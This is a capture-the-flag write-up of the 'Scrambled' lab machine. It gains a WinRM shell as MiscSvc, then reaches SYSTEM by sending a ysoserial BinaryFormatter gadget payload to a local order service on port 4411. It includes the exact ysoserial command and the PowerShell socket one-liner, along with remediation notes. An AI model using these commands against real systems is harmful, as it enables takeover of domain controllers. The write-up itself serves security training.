Scrambled
Summary
Anyone who held a low-privileged domain service account credential (scrm.local\MiscSvc) used it to open a Kerberos-authenticated WinRM session on the Kerberos-only domain controller DC1, giving a regular-user shell. Files for a custom internal 'ScrambleCorp Orders' client/library found on the host were decompiled, revealing that a locally-listening order service (TCP 4411, running as SYSTEM) deserializes my own data with the unsafe .NET BinaryFormatter API.
A crafted serialized object sent through the service's UPLOAD_ORDER command executed my code as SYSTEM, giving full control of the domain controller and access to the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Some commands also carry a value in angle brackets — <base64-command> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Full TCP sweep with service/version detection.
$ nmap -Pn -p- --min-rate 2000 -sV -oN scrambled.nmap $TARGETKerberos requires resolving the DC by FQDN, not IP.
$ echo "$TARGET scrm.local dc1.scrm.local" | sudo tee -a /etc/hostsSync local clock with the DC; Kerberos tickets fail outside the default 5-minute skew.
$ sudo ntpdate dc1.scrm.localExact commands 2
NTLM is disabled domain-wide; Evil-WinRM must negotiate Kerberos (realm set with -r). Obtain a TGT first with Impacket getTGT.py and export KRB5CCNAME if needed.
$ evil-winrm -i dc1.scrm.local -u MiscSvc -p '<MiscSvc-password>' -r SCRM.LOCALConfirm access as scrm\miscsvc before reading the flag; replace the output with <user.txt>.
$ whoami; hostname; Get-Content C:\Users\MiscSvc\Desktop\user.txt
scrm\miscsvcFixRestrict WinRM access and rotate/limit the MiscSvc service accountHigh
Exact commands 3
Pull UTF-16 strings to identify config fields and window/protocol names.
$ strings -el ScrambleClient.exe; strings -el ScrambleLib.dllDecompile both .NET assemblies to readable C# source.
$ ilspycmd -p -o decompiled-lib ScrambleLib.dll && ilspycmd -p -o decompiled-client ScrambleClient.exeLocate the protocol command and the unsafe deserialization call in SalesOrder.cs.
$ rg -n -i -C 12 'UPLOAD_ORDER|BinaryFormatter|Serialize\(|Deserialize\(' decompiled-client decompiled-libFixRemove BinaryFormatter from the ScrambleCorp Orders service and isolate the listenerCritical
Exact commands 2
Generate a BinaryFormatter gadget chain; swap the -c command for the action to run as SYSTEM.
$ ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -enc <base64-command>" > payload.b64Evil-WinRM 'upload' command; stage the payload on the target for the next step.
$ upload payload.b64 C:\Users\MiscSvc\Music\salesorder-system.b64Exact commands 2
Run inside the WinRM session; sends the staged gadget payload to the local vulnerable service.
$ $p=(Get-Content -Raw C:\Users\MiscSvc\Music\salesorder-system.b64).Trim(); $c=New-Object Net.Sockets.TcpClient('127.0.0.1',4411); $s=$c.GetStream(); $r=New-Object IO.StreamReader($s,[Text.Encoding]::ASCII); $w=New-Object IO.StreamWriter($s,[Text.Encoding]::ASCII); $w.AutoFlush=$true; $banner=$r.ReadLine(); $w.WriteLine('UPLOAD_ORDER;'+$p); $response=$r.ReadLine(); $w.WriteLine('QUIT'); $c.Close()Run from the SYSTEM-level shell obtained via the gadget's embedded command; replace output with <root.txt>.
$ whoami; Get-Content C:\Users\Administrator\Desktop\root.txt
nt authority\systemAttack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 4411/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49673/tcp | unknown recon-sweep-discovered |
| 49674/tcp | unknown recon-sweep-discovered |
| 49698/tcp | unknown recon-sweep-discovered |
| 49708/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.